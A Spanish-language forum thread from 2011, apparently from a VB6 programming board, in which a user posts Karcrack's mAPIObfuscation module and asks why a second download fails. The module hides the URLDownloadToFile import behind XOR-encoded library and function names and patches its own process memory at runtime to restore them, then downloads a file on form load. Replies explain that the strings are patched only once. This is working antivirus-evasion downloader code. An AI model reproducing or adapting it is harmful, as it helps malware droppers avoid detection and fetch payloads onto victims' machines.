Autor
|
Tema: mAPIObfuscation (Leído 3,183 veces)
|
Dark4ngel
Desconectado
Mensajes: 31
|
hola toy utilizando la mAPIObfuscation de Karcrack, en urldownloadtofile, y supongamos que hago una descarga con un 1 command , y me lo descarga bien, pero si hago una 2 descarga con un 2 command u otro no descarga el archivo.
Un saludo
|
|
« Última modificación: 29 Octubre 2011, 18:16 pm por Dark4ngel »
|
En línea
|
Dark4ngel
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
Como es el codigo que implementas?.
Dulces Lunas!¡.
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
Dark4ngel
Desconectado
Mensajes: 31
|
modulo: '--------------------------------------------------------------------------------------- ' Module : mAPIObfuscation ' Author : Karcrack ' Now$ : 29/08/2009 13:54 ' Used for? : Obfuscate API Declaration '---------------------------------------------------------------------------------------
'MSVBVM60 public Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
'KERNEL32 public Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
public Declare Function IsBadReadPtr Lib "KERNEL32" (ByRef lp As Any, ByVal ucb As Long) As Long 'api download Public Declare Function URLDownloadToFile Lib "Š“’‘" Alias "ª³»ˆ‘“ž›«¹–“š¾" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DeObfuscateAPI(ByVal sLib As String, ByVal sFunc As String) As Boolean Dim lAddr As Long Dim sBuff As String * &H200 Dim lLib As Long Dim lFunc As Long If App.LogMode = 0 Then GoTo OUT lAddr = App.hInstance& - Len(sBuff) Do lAddr = lAddr + Len(sBuff) If IsBadReadPtr(ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT Call CopyBytes(Len(sBuff), ByVal sBuff$, ByVal lAddr&) lLib = InStr(1, sBuff, sLib, vbBinaryCompare) lFunc = InStr(1, sBuff, sFunc, vbBinaryCompare) Loop Until (lLib <> 0) And (lFunc <> 0) lLib = lAddr + lLib - 1 lFunc = lAddr + lFunc - 1 If WriteProcessMemory(-1, ByVal lLib&, ByVal E(sLib), Len(sLib), ByVal 0&) = 0 Then GoTo OUT If WriteProcessMemory(-1, ByVal lFunc&, ByVal E(sFunc), Len(sFunc), ByVal 0&) = 0 Then GoTo OUT DeObfuscateAPI = True: Exit Function OUT: DeObfuscateAPI = False: Exit Function End Function Public Function E(ByVal s As String) As String Dim i As Long For i = 1 To Len(s) E = E & Chr$(Asc(Mid$(s, i, 1)) Xor &HFF) Next i End Function en el form load: private sub form_load() If DeObfuscateAPI("Š“’‘", "ª³»ˆ‘“ž›«¹–“š¾") = True Then Descarga = URLDownloadToFile(0, URL, LocalFilename, 0, 0) End If end sub
|
|
« Última modificación: 29 Octubre 2011, 11:35 am por Dark4ngel »
|
En línea
|
Dark4ngel
|
|
|
cobein
|
Voy a disparar al aire pero para mi es porque una vez parchada la api en la segunda llamada "falla" porque no encuentra la cadena. Por ende tendrias que llamar a DeObfuscateAPI una sola vez al inicio y despues utilizar la api normalmente.
|
|
|
En línea
|
|
|
|
Elemental Code
Desconectado
Mensajes: 622
Im beyond the system
|
dice en el post que no funciona en IDE, hay que compilarlo. tiro al aire yo tambien
|
|
|
En línea
|
I CODE FOR $$$ Programo por $$$ Hago tareas, trabajos para la facultad, lo que sea en VB6.0 Mis programas
|
|
|
Dark4ngel
Desconectado
Mensajes: 31
|
muchas gracias cobein, hice lo que me dijiste y aora si funciona
|
|
|
En línea
|
Dark4ngel
|
|
|
|
|